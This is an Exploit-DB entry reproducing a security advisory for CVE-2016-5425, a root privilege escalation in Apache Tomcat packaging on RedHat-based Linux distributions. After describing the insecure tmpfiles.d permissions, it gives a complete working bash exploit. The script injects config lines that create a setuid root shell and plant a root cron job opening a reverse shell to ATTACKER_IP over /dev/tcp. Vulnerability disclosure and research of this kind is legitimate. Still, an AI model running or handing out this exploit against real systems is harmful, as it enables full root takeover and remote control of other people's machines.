Exploit-DB #40488
Description: Apache Tomcat 8/7/6 (RedHat Based Distros) - Local Privilege Escalation
Type: local
Platform: linux
Date: 2016-10-10
Author: Dawid Golunski

Exploit:
=============================================
- Discovered by: Dawid Golunski
- http://legalhackers.com
- dawid (at) legalhackers.com

- CVE-2016-5425 
- Release date: 10.10.2016
- Revision: 1
- Severity: High
=============================================


I. VULNERABILITY
-------------------------

Apache Tomcat (packaging on RedHat-based distros) - Root Privilege Escalation


II. BACKGROUND
-------------------------

"The Apache TomcatÃ‚Â® software is an open source implementation of the 
Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket 
technologies. The Java Servlet, JavaServer Pages, Java Expression Language 
and Java WebSocket specifications are developed under the Java Community 
Process.

The Apache Tomcat software is developed in an open and participatory 
environment and released under the Apache License version 2. 
The Apache Tomcat project is intended to be a collaboration of the 
best-of-breed developers from around the world.

Apache Tomcat software powers numerous large-scale, mission-critical web 
applications across a diverse range of industries and organizations. 
Some of these users and their stories are listed on the PoweredBy wiki page.
"

http://tomcat.apache.org/


III. INTRODUCTION
-------------------------

Apache Tomcat packages provided by default repositories of RedHat-based 
distributions (including CentOS, RedHat, OracleLinux, Fedora,  etc.) 
create a tmpfiles.d configuration file with insecure permissions which
allow attackers who are able to write files with tomcat user permissions
(for example, through a vulnerability in web application hosted on Tomcat)
to escalate their privileges from tomcat user to root and fully compromise 
the target system.


IV. DESCRIPTION
-------------------------

The vulnerability stems from the tomcat.conf file installed by default 
by packages on RedHat-based systems with write permissions for the tomcat
group:

[root@centos7 ~]# ls -al /usr/lib/tmpfiles.d/tomcat.conf 
-rw-rw-r--. 1 root tomcat 361 Oct  9 23:58 /usr/lib/tmpfiles.d/tomcat.conf

The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage 
temporary files including their creation.

Attackers could very easily exploit the weak permissions on tomcat.conf to 
inject configuration that creates a rootshell or remote reverse shell that 
allows them to execute arbitrary commands with root privileges.

Injected malicious settings would be processed whenever 
/usr/bin/systemd-tmpfiles gets executed. 

systemd-tmpfiles is executed by default on boot on RedHat-based systems
through systemd-tmpfiles-setup.service service as can be seen below:


---[ /usr/lib/systemd/system/systemd-tmpfiles-setup.service ]---

[...]
ExecStart=/usr/bin/systemd-tmpfiles --create --remove --boot --exclude-prefix=/dev

----------------------------------------------------------------

Depending on the system in use, the execution of systemd-tmpfiles could also 
be triggered by other services, cronjobs, startup scripts  etc.


The vulnerability could potentially get exploited by remote attackers in
combination with a vulnerable web application hosted on Tomcat if they
managed to find a path traversal (e.g in a file upload feature) or an arbitrary 
file write/append vulnerability. This would allow them to append settings
to /usr/lib/tmpfiles.d/tomcat.conf file and achieve code execution with root
privileges without a prior local access/shell on the system.
This vector could prove useful to attackers, for example if they were unable to 
obtain a tomcat-privileged shell/codeexec by uploading a .jsp webshell through a 
vulnerable file upload feature due to restrictions imposed by Tomcat security 
manager, or a read-only webroot etc.

It is worth to note that systemd-tmpfiles does not stop on syntax errors when 
processing configuration files which makes exploitation easier as attackers only
need to inject their payload after a new line and do not need to worry 
about garbage data potentially prepended by a vulnerable webapp in case of
Arbitrary File Write/Append exploitation.



V. PROOF OF CONCEPT EXPLOIT
-------------------------

-----------[ tomcat-RH-root.sh ]---------

#!/bin/bash
# Apache Tomcat packaging on RedHat-based distros - Root Privilege Escalation PoC Exploit
# CVE-2016-5425
#
# Full advisory at:
# http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html
#
# Discovered and coded by:
# Dawid Golunski
# http://legalhackers.com
#
# Tested on RedHat, CentOS, OracleLinux, Fedora systems.
#
# For testing purposes only.
#

ATTACKER_IP=127.0.0.1
ATTACKER_PORT=9090

echo -e "\n* Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *"
echo -e  "  Discovered by Dawid Golunski\n"
echo "[+] Checking vulnerability"
ls -l /usr/lib/tmpfiles.d/tomcat.conf | grep 'tomcat'
if [ $? -ne 0 ]; then
	echo "Not vulnerable or tomcat installed under a different user than 'tomcat'"
	exit 1
fi
echo -e "\n[+] Your system is vulnerable!"

echo -e "\n[+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf..."
cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf
C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
z /usr/share/tomcat/rootsh 4770 root root -
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1 & \n\n"
_eof_

echo "[+] /usr/lib/tmpfiles.d/tomcat.conf contains:"
cat /usr/lib/tmpfiles.d/tomcat.conf
echo -e "\n[+] Payload injected! Wait for your root shell...\n"
echo -e "Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.), 
the rootshell will be created in /usr/share/tomcat/rootsh. 
Additionally, a reverse shell should get executed by crond shortly after and connect to $ATTACKER_IP:$ATTACKER_PORT \n"


--------------[ eof ]-----